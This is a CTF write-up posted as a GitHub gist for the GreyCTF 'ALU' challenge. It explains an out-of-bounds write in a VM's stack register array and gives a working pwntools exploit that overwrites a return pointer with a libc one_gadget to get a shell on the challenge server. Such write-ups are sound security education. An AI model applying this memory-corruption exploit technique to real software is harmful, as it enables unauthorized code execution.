Skip to content

Instantly share code, notes, and snippets.

@lordidiot
Created June 10, 2022 14:43
Show Gist options
  • Save lordidiot/bb242bb5c18f40404d6f52ae22405be3 to your computer and use it in GitHub Desktop.
Save lordidiot/bb242bb5c18f40404d6f52ae22405be3 to your computer and use it in GitHub Desktop.
GreyCTF First Blood Writeup

ALU

Have you tried the AoC 22 24 VM?

MD5 (alu.zip) = 8b04d09040e879f7558d59b14e9ef191
- enigmatrix

nc challs.nusgreyhats.org 13500

This challenge was fairly straightforward with source code provided.

Doing a quick read through the source code, we can quickly notice an OOB bug in the vm_run function.

bool vm_run() {
    int regs['z' - 'a' + 1]; // [1]
	...
    while (true) {
        printf("> ");
        fgets(line, SZ, stdin);
        if (line[0] == '\n') break;

        int a = *(u_char*)(line + 4) - 'a'; // [2]
		...
        if (strncmp(line, "inp", 3) == 0) { // [3]
            printf("inp %c > ", a + 'a');
            scanf("%d%*c", &regs[a]);
        } else if (strncmp(line, "add", 3) == 0) {
            regs[a] += b;
        } else if (strncmp(line, "mul", 3) == 0) {
            regs[a] *= b;
        } else if (strncmp(line, "div", 3) == 0) {
            regs[a] /= b;
        } else if (strncmp(line, "mod", 3) == 0) {
            regs[a] %= b;
        } else if (strncmp(line, "eql", 3) == 0) {
            regs[a] = regs[a] == b;
        }
        else break;
    }
    return regs['z' - 'a'] == 0; // no more instrs, eval 'z == 0'
}

Notice at [2] that the variable a is a character read from the user (0-0xff), subtracted by the ascii value of 'a'. This a is then used in the various functionalities at [3] as the index from array regs. If we look at the allocation of regs at [1], we can notice that its only allocated with 26 elements! Since we have arbitary character input, we can do OOB accesses in this regs array trivially.

To make exploitation even easier, regs is a stack allocated array.

Exploitation

To exploit this, we simply have to overwrite the return value on the stack. The simplest method I found was to overwrite the __libc_start_main return pointer on stack to a one_gadget address.

#!/usr/bin/python
from pwn import *
import sys

config = {
    "elf" : "./alu",
    "libc" : "",
    "HOST" : "challs.nusgreyhats.org",
    "PORT" : 13500
}

def exploit(r):
    """
    $ one_gadget ./libc-2.31.so 
    0xe3b2e execve("/bin/sh", r15, r12)
    constraints:
      [r15] == NULL || r15 == NULL
      [r12] == NULL || r12 == NULL

    0xe3b31 execve("/bin/sh", r15, rdx)
    constraints:
      [r15] == NULL || r15 == NULL
      [rdx] == NULL || rdx == NULL

    0xe3b34 execve("/bin/sh", rsi, rdx)
    constraints:
      [rsi] == NULL || rsi == NULL
      [rdx] == NULL || rdx == NULL
    """

    # 0x80
    # 0x20b3
    r.sendlineafter("> ", "add {} {}".format(chr(0x9f), 0xe3b31-0x240b3))

    r.interactive()
    return

if __name__ == "__main__":
    if "elf" in config.keys() and config["elf"]:
        e = ELF(config["elf"])
    if "libc" in config.keys() and config["libc"]:
        libc = ELF(config["libc"])

    if "remote" in sys.argv:
        r = remote(config["HOST"], config["PORT"])
    else:
        if "libc" in dir():
            r = process(config["elf"], env={"LD_PRELOAD" : config["libc"]})
        else:
            r = process(config["elf"])

        print util.proc.pidof(r)
        if "debug" in sys.argv:
            pause()

    exploit(r)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment